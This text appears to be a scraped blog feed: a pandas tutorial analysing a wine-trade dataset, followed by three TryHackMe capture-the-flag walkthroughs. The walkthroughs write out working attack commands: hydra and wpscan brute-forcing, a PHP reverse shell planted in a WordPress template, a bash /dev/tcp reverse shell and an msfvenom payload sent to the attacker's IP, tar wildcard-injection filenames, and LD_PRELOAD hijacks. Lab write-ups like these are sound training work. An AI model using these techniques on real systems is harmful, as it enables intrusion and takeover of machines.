💡 Info: The pandas.read_csv() is a function in the Pandas library that reads data from a CSV file and creates a DataFrame object. It has various parameters for customization and can handle missing data, date parsing, and different data formats. It’s a useful tool for importing and manipulating CSV data in Python.

💪 Challenge

Explore the dataset to understand the global wine market.

The given analysis should satisfy four criteria: Technical approach (20%), Visualizations (20%), Storytelling (30%), and Insights and recommendations (30%).

The Technical approach will focus on the soundness of the approach and the quality of the code. Visualizations will assess whether the visualizations are appropriate and capable of providing clear insights. The Storytelling component will evaluate whether the data supports the narrative and if the narrative is detailed yet concise. The Insights and recommendations component will check for clarity, relevance to the domain, and recognition of analysis limitations.


🍷 Wine Market Analysis in Four Steps

Step 1: Data Preparation

Import the necessary libraries, and the dataset. Then, if necessary I clean the data and see what features are available for analysis.

import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns wine = pd.read_csv("wine.csv") # Check DataFrame
print(wine.info())

I print some information about the DataFrame to get the column names and non-zero values with df.info() method.

💡 Info: The Pandas DataFrame.info() method provides a concise summary of a DataFrame’s content and structure, including data types, column names, memory usage, and the presence of null values. It’s useful for data inspection, optimization, and error-checking.

Check „NaN” values:

wine[wine.isna().any(axis=1)]

There is some “NaN” that we have to manage. It is logical that if there is no „Vine Area” then they cannot produce wine. So where there is 0 area, we change production to 0.

print(wine[['Country', 'Wine produced (ML)']][wine["Vine Area ('000 ha)"]==0])
	      Country    Wine produced (ML)
6         Denmark           NaN
7         Finland           NaN
10        Ireland           NaN
12        Sweden            NaN
42        Hong Kong         NaN
46        Malaysia          NaN
47    Philippines       NaN
48        Singapore         NaN
wine.loc[wine["Vine Area ('000 ha)"] == 0, "Wine produced (ML)"] = 0

💡 Info: The DataFrame.loc is a powerful Pandas method used for selecting or modifying data based on labels or boolean conditions. It allows for versatile data manipulations, including filtering, sorting, and value assignment.

You can watch an explainer video on it here:

YouTube Video

Step 2: Gain Data Overview

To find the biggest importers and exporters and to get a more comprehensive picture of the market, I have created some queries.

DataFrame.nlargest(n, columns) is the easiest way to perform the search, where “n” is the number of hits and “columns” is the name of the column being searched. nlargest() returns the values in sorted order.

best_10_importers_by_value = wine.nlargest(10, 'Value of wine imports (US$ mill)')
print(best_10_importers_by_value)
best_10_importers_by_liter = wine.nlargest(10, 'Wine import vol. (ML)')
print(best_10_importers_by_liter)
best_10_exporters_by_value = wine.nlargest(10, 'Value of wine exports (US$ mill)')
print(best_10_exporters_by_value)
best_10_exporters_by_liter = wine.nlargest(10, 'Wine export vol. (ML)')
print(best_10_exporters_by_liter)

Step 3: Create Diagrams

It is time to create diagrams.

Let’s look at imports/exports by country. I have put the import/export columns on the y-axis of a barplot for easy comparison. A barplot displays the relationship between a numeric (export/import) and a categorical (Countries) variable.

💡 Info: The pandas.DataFrame.plot() is a method in the Pandas library that generates various visualizations from DataFrame objects. It’s easy to use and allows for customization of plot appearance and behavior. plot() is a useful tool for data exploration, communication, and hypothesis testing.

I used the pandas built-in plot function to create the chart. The plot function here takes the x and y values, the kind of graph, and the title as arguments.

best_10_importers_by_liter.plot(x =    'Country', y = ['Wine import vol. (ML)', 'Wine export vol. (ML)'], kind = 'bar', title = 'Import / Export by Country')

The first insight that I got, is that it’s a bit confusing that France has the largest exports but still takes the 4th (and third) place in imports… The French seem to like foreign wines.

See what countries do not produce enough wine to cover their own consumption! To do this, I subtracted wine production and exports from their own consumption in a new column.

#create new column to calculate wine demand
wine['wine_demand'] = wine['Wine consumed (ML)'] - (wine['Wine produced (ML)'] - wine['Wine export vol. (ML)']) top_10_wine_demand = wine.nlargest(10, 'wine_demand')
print(top_10_wine_demand)

Or, visualized:

Is there enough GDP per capita for consumption?

I think that people who live in countries with high GDP per capita can afford more expensive and more wine.

I have created a seaborn relation plot, where the hue represents GDP and the y-axis represents wine demand.

💡 Info: Seaborn is a Python data visualization library that offers a high-level interface for creating informative and attractive statistical graphics. It’s built on top of the Matplotlib library and includes several color palettes and themes, making it easy to create complex visualizations with minimal code. Seaborn is often used for data exploration, visualization in scientific research, and communication of data insights.

I set the plot style to 'darkgrid' for better look. Please note that this setting will remain as long as you do not change it, including the following graphs.

Seaborn’s relplot returns a FacetGrid object which has a set_xticklabels function to customize x labels.

sns.set_style('darkgrid')
chart = sns.relplot(data = top_10_wine_demand, x = 'Country', y = 'wine_demand', hue = "GDP per capita ('000 US$)")
chart.set_xticklabels(rotation = 65, horizontalalignment = 'right')

My main conclusion from this is that if you have a winery in Europe, the best place to sell your wine is in the UK and Germany, and otherwise, in the US.

Step 4: Competitor Analysis

And now, let’s look at the competitors:

Where is the cheapest wine from, and what country exports lot of cheap wine?

Since we have no data on this, I did a little feature engineering to find out which countries export wine at the lowest price per litre. Feature engineering

when we create a feature (a new column) to add useful information from existing data to your dataset.

wine['export_per_liter'] = wine['Value of wine exports (US$ mill)'] / wine['Wine export vol. (ML)'] top_10_cheapest = wine.nsmallest(10, 'export_per_liter')
print(top_10_cheapest)

Plot the findings:

top_10_cheapest.plot(x = 'Country', y = ['Value of wine exports (US$ mill)', 'Wine export vol. (ML)'], kind = 'bar', figsize = (8, 6))
plt.legend(loc = 'upper left', title = 'Cheapest wine exporters')

It is clear that Spain is by far the biggest exporter of cheap wine, followed by South Africa, but in much smaller quantities.

Conclusion

If you want to gain insight into large data sets, visualization is king and you don’t need fancy, complicated graphs to see the relationships behind the data clearly.

Understanding the tools is vital — without DataFrames, we wouldn’t have been able to pull off this analysis quickly and efficiently:

👉 Recommended Tutorial: Pandas in 10 Minutes

Posted on Leave a comment

How I used Enum4linux to Gain a Foothold Into the Target Machine (TryHackMe)

5/5 – (1 vote)

💡 Enum4linux is a software utility designed to extract information from both Windows and Samba systems. Its primary objective is to provide comparable functionality to the now-defunct enum.exe tool, which was previously accessible at www.bindview.com. Enum4linux is coded in PERL and essentially functions as an interface for the Samba toolset, including smbclient, rpclient, net, and nmblookup.

CHALLENGE OVERVIEW

  • CTF Creator: John Hammond
  • Link: Basic Pentesting
  • Difficulty: Easy 
  • Target: user flag and final flag
  • Highlight: extracting credentials from an SMB server with SMBmap
  • Tools used: nmap, dirb, enum4linux, john, hydra, linpeas, ssh
  • Tags: security, boot2root, cracking, webapp

BACKGROUND

This is a pretty standard type of CTF challenge that involves some recon, gaining an initial foothold, lateral privilege escalation, and discovery of the flags.

It was a great way to review how to use the standard pentesting tools (i.e., nmap, dirb, smbmap, john, hydra).

If you are just starting with CTF challenges, you may find some of the tools and concepts to be a bit more technical. Please check out the video walkthrough if anything is unclear in this write-up! 

ENUMERATION/RECON

IP ADRESSES

export targetIP=10.10.192.10
export myIP=10.6.2.23

ENUMERATION

NMAP SCAN

nmap -A -p- -T4 -oX nmap.txt $targetIP
  • -A Enable OS detection, version detection, script scanning, and traceroute
  • -p- scan all ports
  • -T4 speed 4 (1-5 with 5 being the fastest)
  • -oX output as an XML-type file

DIRB SCAN

dirb http://$targetIP -o dirb.txt
  • -o output as <filename>

WALK THE WEBSITE

Check our dev note section if you need to know what to work on. (I found a hint in sourcecode)

http://10.10.192.10/development/

Reading through these two documents, we learn the following interesting things:

  • User “J” has a weak password hash in /etc/shadow that can be cracked easily!
  • We may be able to find an exploit for REST version 2.5.12 

Searching through exploit-db we find two possibilities:

  1. https://www.exploit-db.com/exploits/45068
  2. https://www.exploit-db.com/exploits/42627 (this one is probably it!)

I tried out this python exploit, but didn’t have any luck. Let’s move forward for now and enumerate the SMB server.

ENUMERATING SMB    

smbmap -a $targetIP

We see a listing for an anonymous login in our results. However, we aren’t able to log in as anonymous.

USING ENUM4LINUX TO EXTRACT SSH LOGIN CREDENTIALS

enum4linux -a 10.10.192.10

-a  Do all simple enumeration (-U -S -G -P -r -o -n -i)

found users: kay and jan

My guess is that our first user credential with the easy hash will be for user jan because the hidden file j.txt in the /development folder was written to “J”.

USING HYDRA TO BRUTEFORCE A PASSWORD FOR JAN/KAY

hydra -l jan -t 4 -P /home/kalisurfer/hacking-tools/rockyou.txt ssh://10.10.192.10
hydra -l kay -P /home/kalisurfer/hacking-tools/rockyou.txt ssh://10.10.192.10 discovered password for jan: armando

LOCAL RECON – LOG IN AS JAN VIA SSH

We’ll automate our local recon with linpeas.sh

To get the script on our target system, we spin up a simple python3 HTTP server on our attack box and use wget to copy it to the /tmp directory of our target system.

After running linpeas.sh we review our results and found a hidden ssh key for user kay. Our next step is to prep and crack the hash to discover the hash password needed for logging in as user kay.

LATERAL PRIVILEGE ESCALATION TO USER KAY

First we’ll use ssh2john to prep the hash to use with John the RIpper. 

Next, we’ll crack the password for the hash with john. 

Now that we’ve brute-forced the password with hashes of the wordlist rockyou.txt, we can go ahead and switch users to kay with the password beeswax.

POST-EXPLOITATION

Locate pass.bak file

Cat to find “final password”

FINAL THOUGHTS

This box showed the power of enum4linux for enumerating Linux machines. We were able to extract two usernames that helped us to brute force our way into the server and gain our initial foothold.

Linpeas also can do similar things, but the big difference between the two is that Linpeas is for local enumeration, and enum4linux is for initial enumeration before gaining a foothold. 

👉 Recommended: Web Hacking 101: Solving the TryHackMe Pickle Rick “Capture The Flag” Challenge

Posted on Leave a comment

TryHackMe – How I Used WPScan to Extract Login Credentials (WordPress)

5/5 – (1 vote)

CHALLENGE OVERVIEW

YouTube Video

BACKGROUND

This CTF challenge is another blackbox-style pentest where we don’t know anything about our target other than the IP address.

We will have to discover ports and services running on the server with our standard pentesting tools like nmap and dirb scan. We also don’t have any inside information about the backend of the target machine.

Let’s get started!

We’ll be testing out the website pentest.ws during today’s video walkthrough.

It is a site designed for pentesters to keep track of their enumeration and credentials. The paid version also helps pentesters create professional VAPT reports (vulnerability assessment and penetration testing reports).

At the end of this post, I will summarize my thoughts on using pentest.ws for the first time.

ENUMERATION/RECON

sudo nmap -A -oX nmap.txt $targetIP -p-

Today we are exporting our nmap results in XML format so that we can upload them to pentest.ws and have the site automatically parse our findings.

dirb http://$targetIP -o dirb.txt

We discovered a WordPress login at: http://internal.thm/blog/wp-login.php

USING WPSCAN TO EXTRACT WORDPRESS LOGIN CREDENTIALS

Let’s use wpscan to discover the admin’s email and password for WordPress.

wpscan --url 10.10.61.252/blog -e vpn,u -o wpscan.txt

Now that we found a username, we can run wpscan again with a wordlist to brute-force the password.

wpscan --url 10.10.61.262/blog --usernames admin --passwords /home/kalisurfer/hacking-tools/rockyou.txt --max-threads 50 -o wpscan-passwds.txt

We found the admin email and password!

admin:my2boys

Now we can log into WordPress and look for a place to upload a revshell.

INITIAL FOOTHOLD – SPAWN A REVSHELL BY EDITING 404.PHP

We’ll edit the template for 404.php and drop in a revshell created quickly and easily with EzpzShell.py.

If you want to learn more about ezpzshell, check out my previous blog post:

👉 Learn More: EzpzShell: An Easy-Peasy Python Script That Simplifies Revshell Creation

ezpz 10.6.2.23 8888 php (ezpzshell also automatically starts a listener)

After copying the payload to 404.php, we make sure it is saved and then trigger the payload:

http://internal.thm/wordpress/wp-content/themes/twentyseventeen/404.php

And if everything is set up correctly, we will catch the revshell with ezpz as user: www-data.

STABILIZE THE SHELL

The following command will stabilize the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

INTERNAL ENUMERATION – FIND USER CREDS

We discover a txt file with credentials:

cat wp-save.txt Bill,
Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna:bubb13guM!@#123

Let’s try switching users to aubreanna with the password given in wp-save.txt.

su aubreanna

We are in as user aubreanna and immediately find the user flag.

aubreanna@internal:~$ cat us cat user.txt THM{i—------omitted--------1}

MORE ENUMERATION – DISCOVER A JENKINS SERVICE

cat jenkins.txt Internal Jenkins service is running on 172.17.0.2:8080

SET UP PORT FORWARDING VIA SSH LOGIN

ssh -L 8080:172.17.0.2:8080 aubreanna@10.10.61.252

SUCCESS! WE’VE CONNECTED UP TO JENKINS VIA SSH PORT FORWARDING! We can now open the Jenkins login page in our browser.

BRUTE-FORCE THE LOGIN

hydra -l admin -P /home/kalisurfer/hacking-tools/SecLists/Passwords/Leaked-Databases/rockyou-75.txt -s 8080 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&login=:Invalid username or password'

The payload on this command has three parts:

  1. http-post-form + header
  2. the request, edited with admin as the username and ^PASS^ in place of the password to mark it as the variable for the password wordlist
  3. the error message that the website will return with a wrong password 

Output:

Using burpsuite or developer mode on firefox will allow us to extract these strings and modify it to our final hydra payload.
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
\
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-06 08:57:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 59185 login tries (l:1/p:59185), ~3700 tries per task
[DATA] attacking http-post-form://127.0.0.1:8080/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&login=:Invalid username or password
[STATUS] 396.00 tries/min, 396 tries in 00:01h, 58789 to do in 02:29h, 16 active
[8080][http-post-form] host: 127.0.0.1 login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-06 08:58:10

Credentials found! admin:spongebob

ENUMERATING JENKINS AS ADMIN

We’ll use the script console on Jenkins to spawn another revshell using groovy scripting language.

We’ll use ezpzshell and choose the Java code, because groovy is built on Java. This time when we catch it, we will be user jenkins.

Manually enumerating through the file system we stumble across a note.txt. Let’s check out the contents:

cat note.txt

Output:

Aubreanna, Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you need access to the root user account. root:tr0ub13guM!@#123

Bingo! We found root user credentials! 

SWITCH USERS TO ROOT

su root
root@internal:~# cat root.txt
THM{d—-omitted—3r}

FINAL THOUGHTS

I’m not convinced yet that pentest.ws will save me much time on my note taking. Maybe with time and experience it would help.

I think the report features that are available for paying subscribers might be just helpful enough to keep me using their platform.

However, I have concerns about security of their platform, as findings from pentesting can be sensitive and generally include login credentials and other passwords.

Overall, I enjoyed the challenge of this box, especially the part where we set up port forwarding via SSH login to expose the Jenkins login portal to our attack machine.

👉 Recommended: EzpzShell: An Easy-Peasy Python Script That Simplifies Revshell Creation

Posted on Leave a comment

TryHackMe Linux PrivEsc – Magical Linux Privilege Escalation (1/2)

5/5 – (1 vote)

CHALLENGE OVERVIEW

YouTube Video
  • CTF Creator: Tib3rius
  • Link: https://tryhackme.com/room/linuxprivesc
  • Difficulty: medium 
  • Target: gaining root access using a variety of different techniques
  • Highlight: Quickly gaining root access on a Linux computer in many different ways
  • Tags: privesc, linux, privilege escalation

BACKGROUND

Using different exploits to compromise operating systems can feel like magic (when they work!).

In this walkthrough, you will see various “magical” ways that Linux systems can be rooted. These methods rely on the Linux system having misconfigurations that allow various read/write/execute permissions on files that should be better protected. In this post, we will cover tasks 1-10.

TASK 1 Deploy the Vulnerable Debian VM

After connecting to our TryHackMe VPN, let’s start our notes.txt file and write down our IPs in an export fashion.

export targetIP=10.10.63.231
export myIP=10.6.2.23

Now we can go ahead and log in via SSH using the starting credentials given in the instructions:

ssh user@10.10.63.231
id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

Now that we are in via SSH, let’s start exploiting this machine!

TASK 2 Service Exploits

In this task, we will privesc by exploiting MySQL using https://www.exploit-db.com/exploits/1518

We’ll create a new file named rootbash that spawns a root shell. This box has the exploit preloaded, so all we have to do is cut and paste the commands from this section to try out the privesc.

Task 3: Weak File Permissions – Readable /etc/shadow

In this task, we will read /etc/shadow and crack the hash with John the Ripper.

First, we need to save the root entry from /etc/shadow file as hash.txt.

Next, let’s load up John and crack the hash with rockyou.txt as our wordlist

john --wordlist=</PATH/TO/>rockyou.txt hash.txt

We have found our root password, password123!

TASK 4: Weak File Permissions – Writeable /etc/shadow

In this task, we will change the root password in /etc/shadow file.

mkpasswd -m sha-512 newpasswordhere
$6$pz5mE.wYesKIYGN$jyRHWFXauy1tWmXLWABRKFjUplUH4u7w2YvxEysk5OPcS.HcgBoQkYt66gkkuMB6EKK8WUh1CY.BAO2mdOdPb.
user@debian:~/tools/mysql-udf$ nano /etc/shadow
user@debian:~/tools/mysql-udf$ su root
Password: root@debian:/home/user/tools/mysql-udf#

TASK 5 Weak File Permissions – Writeable /etc/passwd

In this task, we will change the root passwd in /etc/passwd. First we need to generate a new hashed password: 

openssl passwd newpasswordhere

TASK 6 Sudo – Shell Escape Sequences

Let’s check our sudo privileges:

sudo -l

We can choose any of the many bin files that we have sudo permissions on, except for the apache2 bin that doesn’t have a sudo exploit listed on GTFObins

Today we’ll choose to run the exploit utilizing the more bin file.

👉 Link: https://gtfobins.github.io/gtfobins/more/

Running the following two commands gives us a root shell:

TERM= sudo more /etc/profile
!/bin/sh

TASK 7 Sudo – Environment Variables

Method 1: preload file spoofing

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
sudo LD_PRELOAD=/tmp/preload.so more

Method 2: shared object spoofing

ldd /usr/sbin/apache2
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp apache2

TASK 8 Cron Jobs – File Permissions

In this task, we will root the Linux box by changing the file overwrite.sh that is scheduled to run automatically every minute on cron jobs.

Because we have to write file permissions on the file, we can change the contents to spawn a revshell that we can catch on a listener. The file is owned by root, so it will spawn a root shell.

Overwrite the file with the following:

#!/bin/bash
bash -i >& /dev/tcp/10.6.2.23/8888 0>&1

Now, all we need to do is start a netcat listener and wait for a maximum of 1 minute to catch the revshell.

nc -lnvp 8888

TASK 9 Cron Jobs – PATH Environment Variable

In this task, we will hijack the PATH environment variable by creating an overwrite.sh file in /home/user directory.

user@debian:~$ cat overwrite.sh #!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

This bash script will copy /bin/bash (the shell) to the tmp directory, then add execute privileges and an suid bit. After the overwrite.sh file runs, we can manually activate the root shell by running the new file “rootbash” with persistence mode.

user@debian:~$ /tmp/rootbash -p
rootbash-4.1# id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
rootbash-4.1# exit

TASK 10 Cron Jobs – Wildcards

In this exploit, we will use strange filenames to trick the system into thinking they are checkpoint flags on the tarball command which issue a command to run the elf shell to give us a root shell on our netcat listener. 

First, let’s create a new payload for a revshell

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.6.2.23 LPORT=8888 -f elf -o shell.elf

Next, we’ll transfer the elf file to /home/usr on the target via a simple HTTP server. Finally, we need to create two empty files with the following names:

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

Finally, we’ll need to start up a netcat listener to catch the root shell.

nc -lnvp 8888

POST-EXPLOITATION

Let’s remove the shell and the other two spoofed empty command extension files.

rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf

FINAL THOUGHTS

Magic isn’t actually needed to carry out any of the privesc methods outlined in this post.

As long as the target machine has a misconfiguration on password files (/etc/shadow and/or /etc/passwd), cron jobs are set to run files that we can modify or spoof, or a PATH variable that we can hijack with a spoof file, we can easily escalate privileges to the root user.

Thanks for reading this write-up, and be sure to check out part II for more “magical” privesc methods.